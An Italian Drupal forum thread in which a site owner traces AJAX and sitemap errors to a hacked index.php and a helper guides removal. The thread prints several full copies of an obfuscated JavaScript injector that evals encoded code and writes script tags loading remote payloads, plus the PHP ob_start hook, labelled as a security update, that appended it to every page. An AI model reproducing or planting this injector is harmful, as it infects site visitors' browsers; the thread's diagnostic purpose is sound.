$a="Z64dZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566Z2575Z256eZ2563tiZ256fn dZ2577Z2528tZ2529Z257bcaZ253dZ2527Z252564oZ252563uZ25256deZ256eZ25257Z2534.Z252577rZ2569Z252574Z252565(Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ2572Z252569pZ2574Z25252Z2530Z256caZ256eZ252567Z252575Z2561gZ252565Z2525Z2533Z2564Z25255cZ252522javaZ2573cZ252572Z252569Z2570tZ25255cZ25252Z2532Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriptZ25253eZ2527;evaZ256cZ2528uneZ2573cZ2561peZ2528t))Z257dZ253bZ22;caZ3dZ22Z2566unZ2563tZ2569on Z2564cZ2573(dZ2573Z252cesZ2529Z257bdsZ253dunesZ2563apeZ252Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;ccZ3dZ22Z2568;i+Z252b)Z257btmZ2570Z253ddZ2573Z252esZ256cZ2569ce(Z2569,Z2569Z252b1);Z2573Z25Z22;cdZ3dZ2274Z253dstZ252bZ2553Z2574rinZ2567.Z2566roZ256dChZ2561rCoZ2564e((Z2574mZ2570.chZ22;ceZ3dZ22Z2561rCZ256fdeAZ2574Z2528Z2530)^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;opZ3dZ22Z2524aZ253dZ2522dw(dcZ2573(Z2563Z2575,1Z2534))Z253bZ2522;Z22;cbZ3dZ228ds)Z253bZ2573tZ253dtmpZ253dZ2527Z2527;for(iZ253d0;Z2569Z253cdsZ252elZ2565ngtZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z2561Z253dsZ2574;Z2564Z2563Z2573Z2528Z2564aZ252bdZ2562+Z2564Z2563Z252bZ2564Z2564Z252bZ2564eZ252c1Z2530)Z253bZ2564Z2577Z2528sZ2574)Z253bZ2573Z2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ionZ2520cz(Z2563z)Z257breZ2574urnZ2520cZ2561+cZ2562+cZ2563Z252bcZ2564+cZ2565Z252bcz;Z257d;Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;Z69f (Z64Z6fcumZ65nZ74Z2ecZ6fokiZ65.Z69nZ64exZ4fZ66(Z27rfZ35fZ36dsZ27)Z3dZ3d-1)Z7bfuncZ74ioZ6e Z63Z61lZ6cbZ61ck(Z78)Z7bwZ69Z6edZ6fw.Z74w Z3d Z78;Z76Z61Z72 d Z3d Z6eewZ20DaZ74Z65()Z3bd.sZ65Z74TiZ6de(Z78[Z22Z61s_oZ66Z22]Z2a10Z300);Z76aZ72 h Z3d dZ2egeZ74UTCZ48ouZ72s(Z29;Z77indZ6fw.hZ20Z3d h;iZ66 (hZ20Z3e 8)Z7bdZ2esetZ55TCZ44aZ74e(dZ2eZ67etUZ54CDZ61te(Z29 Z2dZ202);Z7delsZ65Z7bdZ2esetZ55TCDZ61teZ28d.gZ65Z74UTCZ44atZ65Z28Z29 -Z203Z29Z3b}Z77inZ64Z6fw.gZ64 Z3d d;vZ61r tZ69Z6de Z3d neZ77 AZ72raZ79(Z29;vaZ72Z20shZ69ftZ49nZ64exZ20Z3d Z22Z22;time[Z22yearZ22] Z3d d.gZ65tZ55Z54CFuZ6clZ59earZ28)Z3btiZ6deZ5bZ22monthZ22] Z3d d.Z67etUZ54Z43Z4donZ74h()Z2b1;tZ69meZ5bZ22dZ61Z79Z22] Z3d d.Z67Z65tUTZ43DZ61te(Z29;iZ66 (Z64.geZ74UZ54CMoZ6eZ74hZ28)+Z31 Z3c 10)Z7bshZ69fZ74IndZ65xZ20Z3dZ20timZ65[Z22yeZ61rZ22] +Z20Z22-0Z22 +Z20(dZ2egeZ74UZ54CMZ6fnthZ28Z29Z2b1);Z7delZ73Z65Z7bsZ68iftZ49Z6edeZ78 Z3d tZ69mZ65[Z22yeaZ72Z22] + Z22-Z22 + Z28dZ2egeZ74UZ54CMZ6fntZ68Z28)+1Z29;}Z69f Z28d.Z67Z65tZ55TZ43DZ61Z74eZ28)Z20Z3c 1Z30)Z7bshifZ74IZ6eZ64exZ20Z3dZ73hZ69fZ74InZ64exZ20Z2b Z22-Z30Z22 + d.Z67etUZ54CDZ61tZ65(Z29;}eZ6cseZ7bshiZ66tIZ6edexZ20Z3d Z73Z68Z69ftZ49ndeZ78 + Z22-Z22Z20+Z20Z64.gZ65tUZ54CZ44ateZ28)Z3bZ7ddoZ63Z75menZ74.wrZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61gZ65Z3dZ6aaZ76aZ73cZ72Z69pZ74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fsearZ63h.Z74witZ74eZ72.Z63omZ2ftreZ6eZ64sZ2fdailZ79.Z6asoZ6eZ3fdZ61Z74eZ3dZ22+ sZ68iZ66tZ49ndeZ78Z2bZ22Z26calZ6cZ62acZ6bZ3dcZ61llZ62ackZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22)Z3b} Z66uncZ74ioZ6e Z63allZ62acZ6b2(xZ29Z7bwinZ64oZ77.twZ20Z3d Z78;sZ63(Z27rf5f6Z64sZ27Z2c2Z2cZ37)Z3bevaZ6c(unZ65scZ61peZ28dzZ2bczZ2bop+Z73Z74)Z2bZ27dwZ28dzZ2bczZ28$Z61+sZ74Z29);Z27);dZ6fZ63umeZ6eZ74.wrZ69Z74eZ28$aZ29Z3b}Z64Z6fZ63umZ65Z6eZ74Z2ewrZ69tZ65(Z22Z3cimg Z73rcZ3dZ27http:Z2fZ2fsearZ63h.Z74witZ74eZ72.cZ6fmZ2fimZ61Z67esZ2fseZ61Z72chZ2frssZ2eZ70ngZ27 wiZ64tZ68Z3d1 heZ69Z67hZ74Z3d1 stZ79lZ65Z3dZ27visiZ62Z69litZ79:hiZ64Z64eZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75agZ65Z3djavasZ63Z72iptZ22+Z22 srcZ3dZ27hZ74tpZ3aZ2fZ2fsearcZ68Z2etwZ69tteZ72.cZ6fmZ2ftrendZ73Z2fdZ61ilZ79Z2ejsoZ6e?cZ61lZ6cbZ61ckZ3dcalZ6cbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elZ73eZ7b$Z61Z3dZ27Z27};fuZ6ectiZ6fn Z73Z63Z28cnmZ2cv,eZ64)Z7bvar eZ78Z64Z3dneZ77Z20DaZ74e()Z3beZ78Z64.sZ65tDaZ74eZ28exZ64.geZ74DZ61Z74e(Z29+eZ64)Z3bdoZ63uZ6dentZ2ecZ6fZ6fkieZ3dcZ6em+ Z27Z3dZ27 +esZ63aZ70Z65(v)Z2bZ27;exZ70Z69reZ73Z3dZ27+eZ78d.Z74Z6fZ47MTZ53triZ6eZ67()Z3bZ7d;";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>

Vediamo...

tunning88 wrote:
...
Ho appena verificato che i moduli oltre ad essere disattivati erano pure stati eliminati dal server. Quindi non sono loro la causa, a meno che non abbiano corrotto qualcosa alla loro installazione.

Dubito, ma non si sa mai...

tunning88 wrote:
Comunque riprovano il Tab NET di Firebug (che è veramente molto potente) mi sembra di carpire le seguenti cose:
Con la richiesta HTTP vengono mandate le seguenti variabili js=1&ctools_ajax=1
Che in pratica vogliono dire (se ho capito bene)

  • js = 1
  • ctools_ajax=1


Esatto.

tunning88 wrote:
e poi viene mostrata sotto la voce RISPOSTA tutta la parte di codice che viene restituita (che io non so interpretare)
la posto qui sotto così magari qualcuno vede se c'è qualcosa di strano... :)

Stai scherzando? Sono umano non digitale...
[ { "command": "modal_display", ecc, ecc, ecc /form\x3e\n" } ]

Sembra OK - è un array che contiene un array associato. Classico JSON che sta aspettando il JavaScript sul browser...
<script language="javascript">function t(){return z($a);}var $a="Z64dZ3dZ2208y~tuh0:0tqi990;08}...Z7d;";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>

Nope. No buono. Questo è HTML con dentro la versione Javascript del funzione t(). Ma non so da dove viene...

[Edit] Ma lo sai tu. Nel Net qual'era l'URL richiesta? Cosi troviamo il codice PHP per capire cosa avrebbe dovuto restituire [/Edit]

John

Più imparo, più dubito.

ciao john,
grazie per il tempestivo supporto, avrei voluto rispondere subito ma in questi giorni ho pochissimo tempo.
Ho fatto uno stamp (allegato) di quello che mostra il NET.

sembra che l'url di richiesta sia http://www.domuspisa.it/node/680/panel_content

il problema è sicuramente la funzione t() anche perchè sto avendo problemi con la SITEMAP generata dinamicamente tramite XML sitemap. Google mi dice che la sitemap contiente errori, ed analizzandola con internet explorer (domuspisa.it/sitemap.xml) ottengo un errore sulla funzione t()..

Quindi devo capire cosa fa e dove sta questa funzione t()...

edit: inoltre come mi hanno suggerito su drupal.org, ho provato a disattivare ottimizzazione di file CSS e javascript ma niente.. :D

Ciao tunning88

tunning88 wrote:
...Ho fatto uno stamp (allegato) di quello che mostra il NET.

Bravo, molto bello. Purtroppo mi dice niente...
tunning88 wrote:
sembra che l'url di richiesta sia http://www.domuspisa.it/node/680/panel_content

Nope. Quello è il referrer (chi mandava la richiesta - si lo so è scritto referer - ma se vede che chi scriveva le specifiche HTTP non sapeva l'inglese). Quello che sarebbe stato interessante era l'URL di richiesta - vedo che è scritto POST 34, ma se passi sopra col mouse dovrebbe dire l'URL...

tunning88 wrote:
il problema è sicuramente la funzione t() anche perchè sto avendo problemi con la SITEMAP generata dinamicamente tramite XML sitemap. Google mi dice che la sitemap contiente errori, ed analizzandola con internet explorer (domuspisa.it/sitemap.xml) ottengo un errore sulla funzione t()..

Questo è informazione molto importante. Anche qui spedendo l'XML di risposta è stato 'attacato' in fondo sto pezzo di JavaScript. C'è anche in fondo alla tua home page.
tunning88 wrote:
Quindi devo capire cosa fa e dove sta questa funzione t()...
edit: inoltre come mi hanno suggerito su drupal.org, ho provato a disattivare ottimizzazione di file CSS e javascript ma niente.. :D

No, dobbiamo solo capire chi sta scrivendo questo codice. Credo che tu hai un virus. Guarda in index.php (e molto breve) e dovrebbe dire solo questo:
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
$return = menu_execute_active_handler();
// Menu status constants are integers; page content is a string.
if (is_int($return)) {
  switch ($return) {
    case MENU_NOT_FOUND:
      drupal_not_found();
      break;
    case MENU_ACCESS_DENIED:
      drupal_access_denied();
      break;
    case MENU_SITE_OFFLINE:
      drupal_site_offline();
      break;
  }
}
elseif (isset($return)) {
  // Print any value (including an empty string) except NULL or undefined:
  print theme('page', $return);
}
drupal_page_footer();

Se invece c'è qualcosa dopo il drupal_page_footer(); (dove classicamente si install i virus) - toglilo.
Se su hosting Aruba, quindi mi aumenta gli sospetti di un virus. Controlla subito per favore.

Più imparo, più dubito.

in effetti mi ero scordato di darti un'informazione importante. qualche giorno fa un amico (che utilizza AVAST) aveva ricevuto la seguente notifica accedendo al mio sito (della quale mi ha fornito lo screenshot)

Però poi non ero riuscito a verificare l'effettiva presenza del virus in nessun modo.

Infatti ora andando a verificare il index.php trovo questo

[code]

<?php
 ob_start
('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">function t(){return z($a);}var $a="Z64dZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;dzZ3dZ22Z2566Z2575Z256eZ2563tiZ256fn dZ2577Z2528tZ2529Z257bcaZ253dZ2527Z252564oZ252563uZ25256deZ256eZ25257Z2534.Z252577rZ2569Z252574Z252565(Z252522Z2527;ceZ253dZ2527Z252522)Z2527;cbZ253dZ2527Z25253cscZ2572Z252569pZ2574Z25252Z2530Z256caZ256eZ252567Z252575Z2561gZ252565Z2525Z2533Z2564Z25255cZ252522javaZ2573cZ252572Z252569Z2570tZ25255cZ25252Z2532Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscriptZ25253eZ2527;evaZ256cZ2528uneZ2573cZ2561peZ2528t))Z257dZ253bZ22;caZ3dZ22Z2566unZ2563tZ2569on Z2564cZ2573(dZ2573Z252cesZ2529Z257bdsZ253dunesZ2563apeZ252Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;ccZ3dZ22Z2568;i+Z252b)Z257btmZ2570Z253ddZ2573Z252esZ256cZ2569ce(Z2569,Z2569Z252b1);Z2573Z25Z22;cdZ3dZ2274Z253dstZ252bZ2553Z2574rinZ2567.Z2566roZ256dChZ2561rCoZ2564e((Z2574mZ2570.chZ22;ceZ3dZ22Z2561rCZ256fdeAZ2574Z2528Z2530)^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;opZ3dZ22Z2524aZ253dZ2522dw(dcZ2573(Z2563Z2575,1Z2534))Z253bZ2522;Z22;cbZ3dZ228ds)Z253bZ2573tZ253dtmpZ253dZ2527Z2527;for(iZ253d0;Z2569Z253cdsZ252elZ2565ngtZ22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;sZ7bxpyz;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;stZ3dZ22Z2573Z2574Z253dZ2522$Z2561Z253dsZ2574;Z2564Z2563Z2573Z2528Z2564aZ252bdZ2562+Z2564Z2563Z252bZ2564Z2564Z252bZ2564eZ252c1Z2530)Z253bZ2564Z2577Z2528sZ2574)Z253bZ2573Z2574Z253d$Z2561Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ionZ2520cz(Z2563z)Z257breZ2574urnZ2520cZ2561+cZ2562+cZ2563Z252bcZ2564+cZ2565Z252bcz;Z257d;Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;Z69f (Z64Z6fcumZ65nZ74Z2ecZ6fokiZ65.Z69nZ64exZ4fZ66(Z27rfZ35fZ36dsZ27)Z3dZ3d-1)Z7bfuncZ74ioZ6e Z63Z61lZ6cbZ61ck(Z78)Z7bwZ69Z6edZ6fw.Z74w Z3d Z78;Z76Z61Z72 d Z3d Z6eewZ20DaZ74Z65()Z3bd.sZ65Z74TiZ6de(Z78[Z22Z61s_oZ66Z22]Z2a10Z300);Z76aZ72 h Z3d dZ2egeZ74UTCZ48ouZ72s(Z29;Z77indZ6fw.hZ20Z3d h;iZ66 (hZ20Z3e 8)Z7bdZ2esetZ55TCZ44aZ74e(dZ2eZ67etUZ54CDZ61te(Z29 Z2dZ202);Z7delsZ65Z7bdZ2esetZ55TCDZ61teZ28d.gZ65Z74UTCZ44atZ65Z28Z29 -Z203Z29Z3b}Z77inZ64Z6fw.gZ64 Z3d d;vZ61r tZ69Z6de Z3d neZ77 AZ72raZ79(Z29;vaZ72Z20shZ69ftZ49nZ64exZ20Z3d Z22Z22;time[Z22yearZ22] Z3d d.gZ65tZ55Z54CFuZ6clZ59earZ28)Z3btiZ6deZ5bZ22monthZ22] Z3d d.Z67etUZ54Z43Z4donZ74h()Z2b1;tZ69meZ5bZ22dZ61Z79Z22] Z3d d.Z67Z65tUTZ43DZ61te(Z29;iZ66 (Z64.geZ74UZ54CMoZ6eZ74hZ28)+Z31 Z3c 10)Z7bshZ69fZ74IndZ65xZ20Z3dZ20timZ65[Z22yeZ61rZ22] +Z20Z22-0Z22 +Z20(dZ2egeZ74UZ54CMZ6fnthZ28Z29Z2b1);Z7delZ73Z65Z7bsZ68iftZ49Z6edeZ78 Z3d tZ69mZ65[Z22yeaZ72Z22] + Z22-Z22 + Z28dZ2egeZ74UZ54CMZ6fntZ68Z28)+1Z29;}Z69f Z28d.Z67Z65tZ55TZ43DZ61Z74eZ28)Z20Z3c 1Z30)Z7bshifZ74IZ6eZ64exZ20Z3dZ73hZ69fZ74InZ64exZ20Z2b Z22-Z30Z22 + d.Z67etUZ54CDZ61tZ65(Z29;}eZ6cseZ7bshiZ66tIZ6edexZ20Z3d Z73Z68Z69ftZ49ndeZ78 + Z22-Z22Z20+Z20Z64.gZ65tUZ54CZ44ateZ28)Z3bZ7ddoZ63Z75menZ74.wrZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61ngZ75Z61gZ65Z3dZ6aaZ76aZ73cZ72Z69pZ74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fsearZ63h.Z74witZ74eZ72.Z63omZ2ftreZ6eZ64sZ2fdailZ79.Z6asoZ6eZ3fdZ61Z74eZ3dZ22+ sZ68iZ66tZ49ndeZ78Z2bZ22Z26calZ6cZ62acZ6bZ3dcZ61llZ62ackZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22)Z3b} Z66uncZ74ioZ6e Z63allZ62acZ6b2(xZ29Z7bwinZ64oZ77.twZ20Z3d Z78;sZ63(Z27rf5f6Z64sZ27Z2c2Z2cZ37)Z3bevaZ6c(unZ65scZ61peZ28dzZ2bczZ2bop+Z73Z74)Z2bZ27dwZ28dzZ2bczZ28$Z61+sZ74Z29);Z27);dZ6fZ63umeZ6eZ74.wrZ69Z74eZ28$aZ29Z3b}Z64Z6fZ63umZ65Z6eZ74Z2ewrZ69tZ65(Z22Z3cimg Z73rcZ3dZ27http:Z2fZ2fsearZ63h.Z74witZ74eZ72.cZ6fmZ2fimZ61Z67esZ2fseZ61Z72chZ2frssZ2eZ70ngZ27 wiZ64tZ68Z3d1 heZ69Z67hZ74Z3d1 stZ79lZ65Z3dZ27visiZ62Z69litZ79:hiZ64Z64eZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt lZ61ngZ75agZ65Z3djavasZ63Z72iptZ22+Z22 srcZ3dZ27hZ74tpZ3aZ2fZ2fsearcZ68Z2etwZ69tteZ72.cZ6fmZ2ftrendZ73Z2fdZ61ilZ79Z2ejsoZ6e?cZ61lZ6cbZ61ckZ3dcalZ6cbaZ63kZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elZ73eZ7b$Z61Z3dZ27Z27};fuZ6ectiZ6fn Z73Z63Z28cnmZ2cv,eZ64)Z7bvar eZ78Z64Z3dneZ77Z20DaZ74e()Z3beZ78Z64.sZ65tDaZ74eZ28exZ64.geZ74DZ61Z74e(Z29+eZ64)Z3bdoZ63uZ6dentZ2ecZ6fZ6fkieZ3dcZ6em+ Z27Z3dZ27 +esZ63aZ70Z65(v)Z2bZ27;exZ70Z69reZ73Z3dZ27+eZ78d.Z74Z6fZ47MTZ53triZ6eZ67()Z3bZ7d;";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}var x=0;eval(t());</script>';}//important security update
?>

<?php
// $Id: index.php,v 1.94 2007/12/26 08:46:48 dries Exp $

/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/

require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$return = menu_execute_active_handler();

// Menu status constants are integers; page content is a string.
if (is_int($return)) {
switch ($return) {
case MENU_NOT_FOUND:
drupal_not_found();
break;
case MENU_ACCESS_DENIED:
drupal_access_denied();
break;
case MENU_SITE_OFFLINE:
drupal_site_offline();
break;
}
}
elseif (isset($return)) {
// Print any value (including an empty string) except NULL or undefined:
print theme('page', $return);
}

drupal_page_footer();

[/code]

in cui penso proprio che la prima riga (che richiama la famosa funzione t() ) sia quella incriminata.
cosa ne pensi john?
ora provo a cancellarla e verificare se funziona
grazie

ora funziona tutto bene!!
eliminando quella riga di codice funziona tutto.
grazie mille

ora appena ho tempo do un'occhiata a quella riga di codice per capire cosa facesse...

E capire come impedire che succeda di nuovo. Quali precauzioni potrei prendere? Dici che Aruba è insicuro??

Decidi tu: http://www.drupalitalia.org/node/10082 e http://stopbadware.org/reports/asn/31034 Se forse in te, camberò hosting - e di corsa.

Più imparo, più dubito.